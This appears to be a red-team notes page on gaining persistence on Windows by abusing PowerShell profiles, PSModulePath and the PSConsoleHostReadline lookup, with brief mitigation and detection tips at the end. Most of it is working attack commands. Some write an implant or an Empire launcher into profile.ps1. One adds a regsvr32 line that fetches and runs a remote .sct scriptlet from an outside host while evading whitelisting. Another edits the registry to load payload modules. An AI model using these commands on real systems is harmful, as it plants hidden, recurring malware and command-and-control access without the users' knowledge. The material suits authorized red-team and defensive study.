Powershell Profiles & Modules

Powershell Profiles

PowerShell profile is a PowerShell script which enables system administrators and users to customize their environment and to execute specific commands when a PowerShell session initiates. It is similar to logon scripts that are used heavily by Administrators to map network drives and printers for users or gather information about the system.

Modification of the contents of a PowerShell profile script allows an adversary or a red team to use this as a persistence mechanism if the user performs work on PowerShell on a regular basis. This technique can be executed under the context of the current user.

This technique works only if the user or another program is using powershell to do something.

If the user is not using profiles, the technique will stick out immediately due to the "loading personal and system profiles..." message at the top.

There are four places you can abuse the powershell profile, depending on the privileges you have:

$PROFILE | select *

add the code to a $profile variable (that expands to the current user's profile file) that will get executed the next time the compromised user launches a powershell console:

dir %HOMEPATH%"\Documents\windowspowershell
echo c:\rto\pers\implant\implant.exe > %HOMEPATH%"\Documents\windowspowershell\profile.ps1

Once the compromised user launches powershell, our code gets executed.

Invoke-Item

Similar to starting a process the “Invoke-Item” cmdlet can be used to perform the default action of an item i.e. run a file, open an application etc. The launcher.bat is a payload generated by Empire with capability to self-delete itself upon execution as stealthier option since it doesn’t create a new process.

echo $profile
Test-Path $profile
New-Item -Path $profile -Type File –Force
Add-Content $profile "Invoke-Item C:\tmp\launcher.bat"
$string | Out-File -FilePath "C:\Users\pentestlab\Documents\WindowsPowerShell\Microsoft.PowerShe
ll_profile.ps1" -Append

When PowerShell initiates again on the system the file will be executed and the agent will communicate back with the command and control. The execution will not create a new process on the system as the example above and it will use the existing PowerShell process.

Invoke-Command

The usage of the cmdlet “Invoke-Command” allows the execution of commands. The regsvr32 method can be used as a stealthy option since can evade application whitelisting solutions that are not properly configured and the scriptlet can be executed from a remote location.

echo $profile
Test-Path $profile
New-Item -Path $profile -Type File –Force
$string = 'Invoke-Command -ScriptBlock { regsvr32 /s /n /u /i:http://10.0.2.21:8080/jWcEbr.sct s
crobj.dll }'
$string | Out-File -FilePath "C:\Users\pentestlab\Documents\WindowsPowerShell\Microsoft.PowerShe
ll_profile.ps1" -Append

Other Techniques

The Metasploit Framework contains a module (web_delivery) which can generate and serve malicious scriptlet files. However other Command and Control (C2) frameworks like PoshC2 support this functionality and can provide extended capability compare to Metasploit.

Powershell Modules

The PowerShell engine is automatically aware of module components since version 3. PowerShell will load .psm1 files from the PSModulePath when invoked. This is a great place to establish a persistent PowerShell payload. We can either drop it in the default path or edit the registry setting to include a special path. The example here uses a cloud-hosted SkyDrive to contain the payload. We only need to update the module file, and the victim will include the updated module the next time a PowerShell is invoked.

$origpaths =(Get-ItemProperty -Path
"Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session
Manager\Environment" -Name PSModulePath ).PSModulePath
$newPath=$origpaths+";C:\Users\J\OneDrive\PowerShell\"
Set-ItemProperty -Path
"Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\S
ession Manager\Environment"-Name PSModulePath -Value $newPath

PSConsoleHostReadline

In PowerShell 3.0, the system PATH is used to enumerate executables, specifically looking for a nonexistent file: PSConsoleHostReadline. Because the file doesn't exist, PowerShell attempts to load PSConsoleHostReadline with a long list of possible executable extensions: .ps1, .psm1, .psd1, .com, .exe, .bat, .cmd, .vbs, and so on. As an attacker, all you need is to drop one PowerShell script somewhere in the PATH of a PowerShell v3 system and wait for any PowerShell interactive session like this:

$PSHOME\PSConsoleHostReadline.bat

This particular missing file "feature" was removed in PowerShell v4, but because PowerShell v3 shipped with Windows 8 and Server 2012, the technique is still valid. The attacker needs to write to the correct filename and then wait for the victim to run PowerShell interactively to run the dropped payload. Just note that whatever payload you drop will run with each line used in an interactive session on the victim.

Because the function isn't defined by default, PowerShell attempts to use Windows standard PATHEXT (such as .com, .exe, .bat, .cmd, .vbs, .vbe, .js, .jse, .wsf, .wsh, .msc) along the environment PATH. Simply drop in a filename with a preferred extension in an earlier PATH directory. Common user-writable directories include C:\Python27\ and C:\Windows\System32\WindowsPowerShell\v1.0\ .

Mitigation

  • Enforce execution of only signed PowerShell scripts. Sign profiles to avoid them from being modified.

  • Making PowerShell profiles immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.

  • Avoid PowerShell profiles if not needed. Use the -No Profile flag with when executing PowerShell scripts remotely to prevent local profiles and scripts from being executed.

Detection

  • Locations where profile.ps1 can be stored should be monitored for new profiles. [4] Example profile locations include: $PsHome\Profile.ps1 $PsHome\Microsoft.{HostProgram}_profile.ps1 $Home\My Documents\PowerShell\Profile.ps1 $Home\My Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1

  • Locations where profile.ps1 can be stored should be monitored for modifications. [4] Example profile locations include: $PsHome\Profile.ps1 $PsHome\Microsoft.{HostProgram}_profile.ps1 $Home\My Documents\PowerShell\Profile.ps1 $Home\My Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1

Last updated